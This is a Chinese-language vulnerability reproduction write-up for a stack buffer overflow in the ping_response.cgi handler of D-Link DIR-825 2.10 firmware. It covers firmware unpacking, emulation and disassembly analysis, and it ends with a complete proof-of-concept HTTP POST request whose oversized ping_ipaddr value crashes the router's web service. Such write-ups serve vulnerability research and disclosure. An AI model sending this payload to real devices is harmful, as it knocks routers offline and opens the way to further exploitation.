漏洞情报
在 D-Link DIR-825 2.10 中发现了一个漏洞。受该漏洞影响的是组件 httpd 的文件ping_response.cgi的函数get_ping_app_stat。参数ping_ipaddr的作会导致基于堆栈的缓冲区溢出。攻击可以远程发起。该漏洞已向公众披露并可能被使用。
信息收集
binwalk
binwalk -Me DIR825B1_FW210WWB01.bin
binwalk先解包固件
file&checksec
在squashfs-root目录下查看固件基本信息
看到是MIPS架构32位大端序
firmwalker
可以看到该固件web服务器是httpd
固件模拟
FirmAE
sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin
浏览器打开192.168.0.1
模拟成功!
漏洞分析
在IDA分析httpd文件,检索函数get_ping_app_stat
1、缓冲区 v5[256]
fread(v5, 0x100u, 1u, v2);
0x100
= 256,正好等于缓冲区大小。- 如果 ping 输出超过 256 字节,理论上不会溢出(因为
fread
按照大小读取,但这里的问题是 system 命令的格式化字符串)。
2、system("ping -c 1 \"%s\" > /var/misc/ping_app.txt");
- 这里直接把
%s
放进了 system 命令,而且 没有把 a1 的内容传进去。 - 如果在实际固件中
parse_special_char(a1)
返回了字符串,并且 system 调用使用了用户可控的字符串(如sprintf(cmd, "ping -c 1 \"%s\" ...", a1)
),则可能导致 命令注入漏洞。
3、返回值逻辑
- 根据 ping 输出文件判断成功/失败/未知主机,这个逻辑没有安全问题。
接着我们追进去分析函数parse_special_char,看看里面写了什么。因为该函数是外部函数,所以要回去解包的固件中找他的文件位置,发现该函数在libproject.so文件中,将其放进IDA里分析函数
检索找到函数parse_special_char
1、功能总结:
- 作用:
parse_special_char
用于对用户输入的字符串进行 转义处理,主要是给以下字符前面加上反斜杠\
:"
双引号\
反斜杠- ``` 反引号
$
变量符号
- 目的:
防止直接拼接到system("ping ...")
命令时出现命令注入。
2、存在的问题:
-
使用了
strcpy
,且v11[200]
存放用户输入。 -
如果传入的字符串超过 200 字节,会导致 缓冲区溢出。
- 再加上
v10[400]
,虽然比较大,但strcpy(a1, v10)
依然没有长度检查。
3、总结:
parse_special_char
本意是做命令注入防护,但防护不完整,反而引入了新的 栈缓冲区溢出风险。
漏洞验证
抓包
接下来构造HTTP请求包,验证堆栈的缓冲区溢出
可以看到设备的 HTTP 服务在请求发出前还能正常访问,但在发出 payload 后立即断开,并且持续一段时间无法访问。
验证成功!
至此,漏洞复现结束。
PoC:
POST /ping_response.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/tools_vct.asp
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac&ping=Ping